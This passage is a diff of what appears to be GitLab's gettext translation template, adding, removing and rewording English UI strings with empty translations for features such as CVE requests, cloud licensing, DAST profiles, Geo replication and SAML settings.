msgstr ""
@@ -5419,6 +5575,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5515,6 +5692,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5635,6 +5815,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5662,6 +5845,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5671,12 +5857,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6319,6 +6511,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6352,6 +6547,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6385,9 +6622,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6406,12 +6640,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6961,6 +7204,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7669,6 +7915,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7732,6 +7981,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8017,6 +8269,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8047,9 +8302,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8134,6 +8386,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8152,6 +8407,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8218,6 +8476,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8440,6 +8701,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8485,9 +8749,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8545,9 +8806,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8602,12 +8872,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8641,6 +8920,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8650,18 +8932,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8806,9 +9085,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8830,6 +9106,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8983,6 +9262,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9046,6 +9328,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9349,8 +9634,11 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9445,6 +9733,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9514,6 +9805,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9574,6 +9871,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9607,6 +9907,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9637,12 +9940,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9721,6 +10036,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9751,6 +10069,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10174,13 +10495,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10291,9 +10618,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10321,9 +10645,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10438,9 +10759,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10600,13 +10918,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10621,7 +10939,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10876,6 +11194,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11119,6 +11440,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11131,6 +11455,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11350,6 +11677,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11374,6 +11704,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11386,6 +11719,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11398,6 +11734,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11509,6 +11848,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11578,9 +11920,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12208,19 +12547,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12229,7 +12568,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12340,9 +12679,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12409,6 +12745,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12478,6 +12817,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12490,12 +12832,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12523,9 +12859,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12547,13 +12880,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12652,6 +12988,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12679,9 +13018,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12730,9 +13075,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12787,9 +13129,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13174,10 +13513,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13210,7 +13549,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13312,6 +13651,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13360,12 +13702,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13375,9 +13720,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13402,6 +13744,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13411,6 +13756,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13426,6 +13774,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13444,9 +13795,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13708,6 +14056,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13750,9 +14101,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13777,6 +14134,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13810,6 +14176,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13837,6 +14209,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13849,6 +14224,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13876,6 +14275,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13888,6 +14290,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13921,6 +14326,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13966,6 +14374,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14095,6 +14506,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14218,6 +14635,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14260,9 +14695,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14392,16 +14824,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14413,6 +14842,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14470,6 +14902,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14551,9 +14989,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14656,9 +15091,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14674,7 +15115,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14770,9 +15214,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14968,9 +15409,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15106,9 +15544,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15289,6 +15724,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15457,6 +15895,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15619,9 +16063,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15670,12 +16111,15 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15685,9 +16129,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16273,6 +16714,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16444,6 +16888,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
